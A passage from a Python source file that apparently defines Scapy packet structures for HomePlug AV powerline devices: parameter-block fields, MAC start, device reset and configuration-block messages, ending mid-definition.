>= pkt.__offset and 0x1A0 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"PCIDeviceID\", 0x0000),\n                         lambda pkt:(0x1A0 >= pkt.__offset and 0x1A2 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"PCIVendorID\", 0x0000),\n                         lambda pkt:(0x1A2 >= pkt.__offset and 0x1A4 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"reserved_7\", 0x00),\n                         lambda pkt:(0x1A4 >= pkt.__offset and 0x1A5 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"PCIClassCode\", 0x00),\n                         lambda pkt:(0x1A5 >= pkt.__offset and 0x1A6 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"PCIClassCodeSubClass\", 0x00),\n                         lambda pkt:(0x1A6 >= pkt.__offset and 0x1A7 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"PCIRevisionID\", 0x00),\n                         lambda pkt:(0x1A7 >= pkt.__offset and 0x1A8 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"PCISubsystemID\", 0x0000),\n                         lambda pkt:(0x1A8 >= pkt.__offset and 0x1AA <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"PCISybsystemVendorID\", 0x0000),\n                         lambda pkt:(0x1AA >= pkt.__offset and 0x1AC <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"reserved_8\",\n                                          b\"\\x00\" * 64,\n                                          64),\n                         lambda pkt:(0x1AC >= pkt.__offset and 0x1EC <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"OverrideIGMPDefaults\", 0x00),\n                         lambda pkt:(0x1EC >= pkt.__offset and 0x1ED <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"ConfigFlags\", 0x00),\n                         lambda pkt:(0x1ED >= pkt.__offset and 0x1EE <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"NumCpToSend_PLFrames\", 0x00),\n                         lambda pkt:(0x1EE >= pkt.__offset and 0x1EF <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"reserved_9\",\n                                          b\"\\x00\" * 29,\n                                          29),\n                         lambda pkt:(0x1EF >= pkt.__offset and 0x20C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"UniCastPriority\", 0x00),\n                         lambda pkt:(0x20C >= pkt.__offset and 0x20D <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"McastPriority\", 0x00),\n                         lambda pkt:(0x20D >= pkt.__offset and 0x20E <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"IGMPPriority\", 0x00),\n                         lambda pkt:(0x20E >= pkt.__offset and 0x20F <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"AVStreamPriority\", 0x00),\n                         lambda pkt:(0x20F >= pkt.__offset and 0x210 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"PriorityTTL_0\", 0),\n                         lambda pkt:(0x210 >= pkt.__offset and 0x214 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"PriorityTTL_1\", 0),\n                         lambda pkt:(0x214 >= pkt.__offset and 0x218 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"PriorityTTL_2\", 0),\n                         lambda pkt:(0x218 >= pkt.__offset and 0x21C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"PriorityTTL_3\", 0),\n                         lambda pkt:(0x21C >= pkt.__offset and 0x220 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"EnableVLANOver\", 0x00),\n                         lambda pkt:(0x220 >= pkt.__offset and 0x221 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"EnableTOSOver\", 0x00),\n                         lambda pkt:(0x221 >= pkt.__offset and 0x222 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"reserved_10\", 0x0000),\n                         lambda pkt:(0x222 >= pkt.__offset and 0x224 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"VLANPrioTOSPrecMatrix\", 0),\n                         lambda pkt:(0x224 >= pkt.__offset and 0x228 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"NumClassifierPriorityMaps\", 0),\n                         lambda pkt:(0x228 >= pkt.__offset and 0x22C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"NumAutoConnections\", 0),\n                         lambda pkt:(0x22C >= pkt.__offset and 0x230 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(PacketListField(\"ClassifierPriorityMaps\", \"\", ClassifierPriorityMap, length_from=lambda x: 224),  # noqa: E501\n                         lambda pkt:(0x230 >= pkt.__offset and 0x244 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(PacketListField(\"AutoConnections\", \"\", AutoConnection, length_from=lambda x: 1600),  # noqa: E501\n                         lambda pkt:(0x310 >= pkt.__offset and 0x36e <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"NumberOfConfigEntries\", 0x00),\n                         lambda pkt:(0x950 >= pkt.__offset and 0x951 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(PacketListField(\"AggregateConfigEntries\", \"\", AggregateConfigEntrie, length_from=lambda x: 16),  # noqa: E501\n                         lambda pkt:(0x951 >= pkt.__offset and 0x961 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(PacketListField(\"RSVD_CustomAggregationParameters\", \"\", RSVD_CustomAggregationParameter, length_from=lambda x: 48),  # noqa: E501\n                         lambda pkt:(0x961 >= pkt.__offset and 0x991 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"reserved_11\",\n                                          b\"\\x00\" * 123,\n                                          123),\n                         lambda pkt:(0x991 >= pkt.__offset and 0xA0C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"ToneMaskType\", 0),\n                         lambda pkt:(0xA0C >= pkt.__offset and 0xA10 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"ToneMaskEnabled\", 0),\n                         lambda pkt:(0xA10 >= pkt.__offset and 0xA14 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"StartTone\", 0),\n                         lambda pkt:(0xA14 >= pkt.__offset and 0xA18 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"EndTone\", 0),\n                         lambda pkt:(0xA18 >= pkt.__offset and 0xA1C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"reserved_12\",\n                                          b\"\\x00\" * 12,\n                                          12),\n                         lambda pkt:(0xA1C >= pkt.__offset and 0xA28 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"PsdIndex\", 0),\n                         lambda pkt:(0xA28 >= pkt.__offset and 0xA2C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"TxPrescalerType\", 0),\n                         lambda pkt:(0xA2C >= pkt.__offset and 0xA30 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(PacketListField(\"PrescalerValues\", \"\", PrescalerValue, length_from=lambda x: 3600),  # noqa: E501\n                         lambda pkt:(0xA30 >= pkt.__offset and 0xA34 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"reserved_13\",\n                                          b\"\\x00\" * 1484,\n                                          1484),\n                         lambda pkt:(0x1840 >= pkt.__offset and 0x1E0C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"AllowNEKRotation\", 0),\n                         lambda pkt:(0x1E0C >= pkt.__offset and 0x1E10 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"OverrideLocalNEK\", 0),\n                         lambda pkt:(0x1E10 >= pkt.__offset and 0x1E14 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"LocalNEKToUse\",\n                                          b\"\\x00\" * 16,\n                                          16),\n                         lambda pkt:(0x1E14 >= pkt.__offset and 0x1E24 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"OverrideNEKRotationTimer\", 0),\n                         lambda pkt:(0x1E24 >= pkt.__offset and 0x1E28 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"NEKRotationTime_Min\", 0),\n                         lambda pkt:(0x1E28 >= pkt.__offset and 0x1E2C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"reserved_14\",\n                                          b\"\\x00\" * 96,\n                                          96),\n                         lambda pkt:(0x1E2C >= pkt.__offset and 0x1E8C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"AVLNMembership\", 0),\n                         lambda pkt:(0x1E8C >= pkt.__offset and 0x1E90 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"SimpleConnectTimeout\", 0),\n                         lambda pkt:(0x1E90 >= pkt.__offset and 0x1E94 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"EnableLEDThroughputIndicate\", 0),\n                         lambda pkt:(0x1E94 >= pkt.__offset and 0x1E95 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"MidLEDThroughputThreshold_Mbps\", 0),\n                         lambda pkt:(0x1E95 >= pkt.__offset and 0x1E96 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"HighLEDThroughputThreshold_Mbps\", 0),\n                         lambda pkt:(0x1E96 >= pkt.__offset and 0x1E97 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"reserved_15\", 0),\n                         lambda pkt:(0x1E97 >= pkt.__offset and 0x1E98 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"EnableUnicastQuieriesToMember\", 0),\n                         lambda pkt:(0x1E98 >= pkt.__offset and 0x1E99 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"DisableMLDGroupIDCheckInMAC\", 0),\n                         lambda pkt:(0x1E99 >= pkt.__offset and 0x1E9A <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"EnableReportsToNonQuerierHosts\", 0),\n                         lambda pkt:(0x1E9A >= pkt.__offset and 0x1E9C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"DisableExpireGroupMembershipInterval\", 0),\n                         lambda pkt:(0x1E9C >= pkt.__offset and 0x1EA0 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"DisableLEDTestLights\", 0),\n                         lambda pkt:(0x1EA0 >= pkt.__offset and 0x1EA4 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(PacketListField(\"GPIOMaps\", \"\", GPIOMap, length_from=lambda x: 12),  # noqa: E501\n                         lambda pkt:(0x1EA4 >= pkt.__offset and 0x1EB0 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XLongField(\"reserved_16\", 0),\n                         lambda pkt:(0x1EB0 >= pkt.__offset and 0x1EB8 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"EnableTrafficClass_DSCPOver\", 0),\n                         lambda pkt:(0x1EB8 >= pkt.__offset and 0x1EB9 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"TrafficClass_DSCPMatrices\",\n                                          b\"\\x00\" * 64,\n                                          64),\n                         lambda pkt:(0x1EB9 >= pkt.__offset and 0x1EF9 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"GPIOControl\", 0),\n                         lambda pkt:(0x1EF9 >= pkt.__offset and 0x1EFA <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"LEDControl\",\n                                          b\"\\x00\" * 32,\n                                          32),\n                         lambda pkt:(0x1EFA >= pkt.__offset and 0x1F1A <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"OverrideMinButtonPressHoldTime\", 0),\n                         lambda pkt:(0x1F1A >= pkt.__offset and 0x1F1E <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"MinButtonPressHoldTime\", 0),\n                         lambda pkt:(0x1F1E >= pkt.__offset and 0x1F22 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"reserved_17\",\n                                          b\"\\x00\" * 22,\n                                          22),\n                         lambda pkt:(0x1F22 >= pkt.__offset and 0x1F38 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"MemoryProfile\", 0),\n                         lambda pkt:(0x1F38 >= pkt.__offset and 0x1F3C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"DisableAllLEDFlashOnWarmReboot\", 0),\n                         lambda pkt:(0x1F3C >= pkt.__offset and 0x1F40 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"UplinkLimit_bps\", 0),\n                         lambda pkt:(0x1F40 >= pkt.__offset and 0x1F44 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"DownlinkLimit_bps\", 0),\n                         lambda pkt:(0x1F44 >= pkt.__offset and 0x1F48 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"MDUStaticSNID\", 0),\n                         lambda pkt:(0x1F48 >= pkt.__offset and 0x1F4C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"MitigateEnabled\", 0),\n                         lambda pkt:(0x1F4C >= pkt.__offset and 0x1F4D <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"CorrelThreshold\", 0),\n                         lambda pkt:(0x1F4D >= pkt.__offset and 0x1F51 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"ScaledTxGain\", 0),\n                         lambda pkt:(0x1F51 >= pkt.__offset and 0x1F55 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"ResourceThresholdEnabled\", 0),\n                         lambda pkt:(0x1F55 >= pkt.__offset and 0x1F56 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(PacketListField(\"ReservedPercentageForCaps\", \"\", ReservedPercentageForCap, length_from=lambda x: 4),  # noqa: E501\n                         lambda pkt:(0x1F56 >= pkt.__offset and 0x1F5A <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"PowerSavingMode\", 0),\n                         lambda pkt:(0x1F5A >= pkt.__offset and 0x1F5B <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"PowerLEDDutyCycle\", 0),\n                         lambda pkt:(0x1F5B >= pkt.__offset and 0x1F5C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"reserved_18\", 0),\n                         lambda pkt:(0x1F5C >= pkt.__offset and 0x1F5E <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"LinkUpDurationBeforeReset_ms\", 0),\n                         lambda pkt:(0x1F5E >= pkt.__offset and 0x1F62 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"PowerLEDPeriod_ms\", 0),\n                         lambda pkt:(0x1F62 >= pkt.__offset and 0x1F66 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"LinkDownDurationBeforeLowPowerMode_ms\", 0),  # noqa: E501\n                         lambda pkt:(0x1F66 >= pkt.__offset and 0x1F6A <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"reserved_19\", 0),\n                         lambda pkt:(0x1F6A >= pkt.__offset and 0x1F6E <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"AfeGainBusMode\", 0),\n                         lambda pkt:(0x1F6E >= pkt.__offset and 0x1F6F <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"EnableDynamicPsd\", 0),\n                         lambda pkt:(0x1F6F >= pkt.__offset and 0x1F70 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"ReservedPercentageForTxStreams\", 0),\n                         lambda pkt:(0x1F70 >= pkt.__offset and 0x1F71 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"ReservedPercentageForRxStreams\", 0),\n                         lambda pkt:(0x1F71 >= pkt.__offset and 0x1F72 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"reserved_20\",\n                                          b\"\\x00\" * 22,\n                                          22),\n                         lambda pkt:(0x1F72 >= pkt.__offset and 0x1F88 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"LegacyNetworkUpgradeEnable\", 0),\n                         lambda pkt:(0x1F88 >= pkt.__offset and 0x1F8C <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"unknown\", 0),\n                         lambda pkt:(0x1F8C >= pkt.__offset and 0x1F90 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"MMETTL_us\", 0),\n                         lambda pkt:(0x1F90 >= pkt.__offset and 0x1F94 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(PacketListField(\"ConfigBits\", \"\", ConfigBit, length_from=lambda x: 2),  # noqa: E501\n                         lambda pkt:(0x1F94 >= pkt.__offset and 0x1F96 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"TxToneMapExpiry_ms\", 0),\n                         lambda pkt:(0x1F96 >= pkt.__offset and 0x1F9A <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"RxToneMapExpiry_ms\", 0),\n                         lambda pkt:(0x1F9A >= pkt.__offset and 0x1F9E <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"TimeoutToResound_ms\", 0),\n                         lambda pkt:(0x1F9E >= pkt.__offset and 0x1FA2 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"MissingSackThresholdForUnplugDetection\", 0),  # noqa: E501\n                         lambda pkt:(0x1FA2 >= pkt.__offset and 0x1FA6 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(LEIntField(\"UnplugTimeout_ms\", 0),\n                         lambda pkt:(0x1FA6 >= pkt.__offset and 0x1FAA <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(PacketListField(\"ContentionWindowTableES\", \"\", ContentionWindowTable, length_from=lambda x: 8),  # noqa: E501\n                         lambda pkt:(0x1FAA >= pkt.__offset and 0x1FB2 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(PacketListField(\"BackoffDeferalCountTableES\", \"\", BackoffDeferalCountTable, length_from=lambda x: 4),  # noqa: E501\n                         lambda pkt:(0x1FB2 >= pkt.__offset and 0x1FB6 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"GoodSoundCountThreshold\", 0),\n                         lambda pkt:(0x1FB6 >= pkt.__offset and 0x1FB7 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"SoundCountThreshold_GoodSoundCountPass\", 0),  # noqa: E501\n                         lambda pkt:(0x1FB7 >= pkt.__offset and 0x1FB8 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"SoundCountThreshold_GoodSoundCountFail\", 0),  # noqa: E501\n                         lambda pkt:(0x1FB8 >= pkt.__offset and 0x1FB9 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"reserved_21\", 0),\n                         lambda pkt:(0x1FB9 >= pkt.__offset and 0x1FBB <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"ExclusiveTxPbs_percentage\", 0),\n                         lambda pkt:(0x1FBB >= pkt.__offset and 0x1FBC <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"ExclusiveRxPbs_percentage\", 0),\n                         lambda pkt:(0x1FBC >= pkt.__offset and 0x1FBD <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"OptimizationBackwardCompatible\", 0),\n                         lambda pkt:(0x1FBD >= pkt.__offset and 0x1FBE <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"reserved_21b\", 0),\n                         lambda pkt:(0x1FBE >= pkt.__offset and 0x1FBF <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"MaxPbsPerSymbol\", 0),\n                         lambda pkt:(0x1FBF >= pkt.__offset and 0x1FC0 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"MaxModulation\", 0),\n                         lambda pkt:(0x1FC0 >= pkt.__offset and 0x1FC1 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"ContinuousRx\", 0),\n                         lambda pkt:(0x1FC1 >= pkt.__offset and 0x1FC2 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"reserved_22\",\n                                          b\"\\x00\" * 6,\n                                          6),\n                         lambda pkt:(0x1FC2 >= pkt.__offset and 0x1FC8 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"PBControlStatus\", 0),\n                         lambda pkt:(0x1FC8 >= pkt.__offset and 0x1FC9 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"STAMembershipMaskEnabled\", 0),\n                         lambda pkt:(0x1FC9 >= pkt.__offset and 0x1FCA <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"ExitDefaultEnabled\", 0),\n                         lambda pkt:(0x1FCA >= pkt.__offset and 0x1FCB <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"RejectDefaultEnabled\", 0),\n                         lambda pkt:(0x1FCB >= pkt.__offset and 0x1FCC <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"ChainingEnabled\", 0),\n                         lambda pkt:(0x1FCC >= pkt.__offset and 0x1FCD <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"VendorSpecificNMK\",\n                                          b\"\\x00\" * 16,\n                                          16),\n                         lambda pkt:(0x1FCD >= pkt.__offset and 0x1FDD <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"LocalMACAddressLimit\", 0),\n                         lambda pkt:(0x1FDD >= pkt.__offset and 0x1FDE <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"OverrideBridgeTableAgingTime\", 0),\n                         lambda pkt:(0x1FDE >= pkt.__offset and 0x1FDF <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"LocalBridgeTableAgingTime_min\", 0),\n                         lambda pkt:(0x1FDF >= pkt.__offset and 0x1FE1 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XShortField(\"RemoteBridgeTableAgingTime_min\", 0),\n                         lambda pkt:(0x1FE1 >= pkt.__offset and 0x1FE3 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"PhySyncReference\", 0),\n                         lambda pkt:(0x1FE3 >= pkt.__offset and 0x1FE7 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"reserved_23\", 0),\n                         lambda pkt:(0x1FE7 >= pkt.__offset and 0x1FE8 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"reserved_24\", 0),\n                         lambda pkt:(0x1FE8 >= pkt.__offset and 0x1FEC <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XIntField(\"reserved_25\", 0),\n                         lambda pkt:(0x1FEC >= pkt.__offset and 0x1FF0 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"reserved_26\",\n                                          b\"\\x00\" * 24,\n                                          24),\n                         lambda pkt:(0x1FF0 >= pkt.__offset and 0x2008 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"OverrideDefaultLedEventBehavior\", 0x80),\n                         lambda pkt:(0x2008 >= pkt.__offset and 0x2009 <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"ReportToHostInfo\", 0),\n                         lambda pkt:(0x2009 >= pkt.__offset and 0x200A <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(X3BytesField(\"reserved_27\", 0),\n                         lambda pkt:(0x200A >= pkt.__offset and 0x200D <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"NumBehaviors\", 0),\n                         lambda pkt:(0x200D >= pkt.__offset and 0x200E <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(PacketListField(\"BehaviorBlockArrayES\", \"\", BehaviorBlockArray, length_from=lambda x: 1200),  # noqa: E501\n                         lambda pkt:(0x200E >= pkt.__offset and 0x24BE <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(XByteField(\"NumEvents\", 0),\n                         lambda pkt:(0x24BE >= pkt.__offset and 0x24BF <= pkt.__offset + pkt.__length)),  # noqa: E501\n        ConditionalField(PacketListField(\"EventBlockArrayES\", \"\", EventBlockArray, length_from=lambda x: 550),  # noqa: E501\n                         lambda pkt:(0x24BF >= pkt.__offset and 0x26E5 <= pkt.__offset + pkt.__length)),  # noqa: E501\n    ]\n\n    def __init__(self, packet=\"\", offset=0x0, length=0x400):\n        self.__offset = offset\n        self.__length = length\n        return super(ModulePIB, self).__init__(packet)\n\n\n######################################################################\n# Read MAC Memory\n#####################################################################\n\nStartMACCodes = {0x00: \"Success\"}\n\n\nclass StartMACRequest(Packet):\n    name = \"StartMACRequest\"\n    fields_desc = [ByteEnumField(\"ModuleID\", 0x00, StartMACCodes),\n                   X3BytesField(\"reserver_1\", 0x000000),\n                   LEIntField(\"ImgLoadStartAddr\", 0x00000000),\n                   LEIntField(\"ImgLength\", 0x00000000),\n                   LEIntField(\"ImgCheckSum\", 0x00000000),\n                   LEIntField(\"ImgStartAddr\", 0x00000000),\n                   ]\n\n\nclass StartMACConfirmation(Packet):\n    name = \"StartMACConfirmation\"\n    fields_desc = [ByteEnumField(\"Status\", 0x00, StartMACCodes),\n                   XByteField(\"ModuleID\", 0x00),\n                   ]\n\n######################################################################\n# Reset Device\n######################################################################\n\n\nResetDeviceCodes = {0x00: \"Success\"}\n\n\nclass ResetDeviceRequest(Packet):\n    name = \"ResetDeviceRequest\"\n    fields_desc = []\n\n\nclass ResetDeviceConfirmation(Packet):\n    name = \"ResetDeviceConfirmation\"\n    fields_desc = [ByteEnumField(\"Status\", 0x00, ResetDeviceCodes)]\n\n######################################################################\n# Read Configuration Block\n######################################################################\n\n\nReadConfBlockCodes = {0x00: \"Success\"}\n\n\nclass ReadConfBlockRequest(Packet):\n    name = \"ReadConfBlockRequest\"\n    fields_desc = []\n\n\nCBImgTCodes = {0x00: \"Generic Image\",\n               0x01: \"Synopsis configuration\",\n               0x02: \"Denali configuration\",\n               0x03: \"Denali applet\",\n               0x04: \"Runtime firmware\",\n               0x05: \"OAS client\",\n               0x06: \"Custom image\",\n               0x07: \"Memory control applet\",\n               0x08: \"Power management applet\",\n               0x09: \"OAS client IP stack\",\n               0x0A: \"OAS client TR069\",\n               0x0B: \"SoftLoader\",\n               0x0C: \"Flash layout\",\n               0x0D: \"Unknown\",\n               0x0E: \"Chain manifest\",\n               0x0F: \"Runtime parameters\",\n               0x10: \"Custom module in scratch\",\n               0x11: \"Custom module update applet\"}\n\n\nclass ConfBlock(Packet):\n    name = \"ConfBlock\"\n    fields_desc = [LEIntField(\"HeaderVersionNum\", 0),\n                   LEIntField(\"ImgAddrNVM\", 0),\n                   LEIntField(\"ImgAddrSDRAM\", 0),\n                   LEIntField(\"ImgLength\", 0),\n                   LEIntField(\"ImgCheckSum\", 0),\n                   LEIntField(\"EntryPoint\", 0),\n                   XByteField(\"HeaderMinVersion\", 0x00),\n                   ByteEnumField(\"HeaderImgType\", 0x00, CBImgTCodes),\n                   XShortField(\"HeaderIgnoreMask\", 0x0000),\n                   LEIntField(\"HeaderModuleID\", 0),\n                   LEIntField(\"HeaderModuleSubID\", 0),\n                   LEIntField(\"AddrNextHeaderNVM\", 0),\n                   LEIntField(\"HeaderChecksum\", 0),\n                   LEIntField(\"SDRAMsize\", 0),\n                   LEIntField(\"SDRAMConfRegister\", 0),\n                   LEIntField(\"SDRAMTimingRegister_0\", 0),\n                   LEIntField(\"SDRAMTimingRegister_1\", 0),\n                   LEIntField(\"SDRAMControlRegister\", 0),\n                   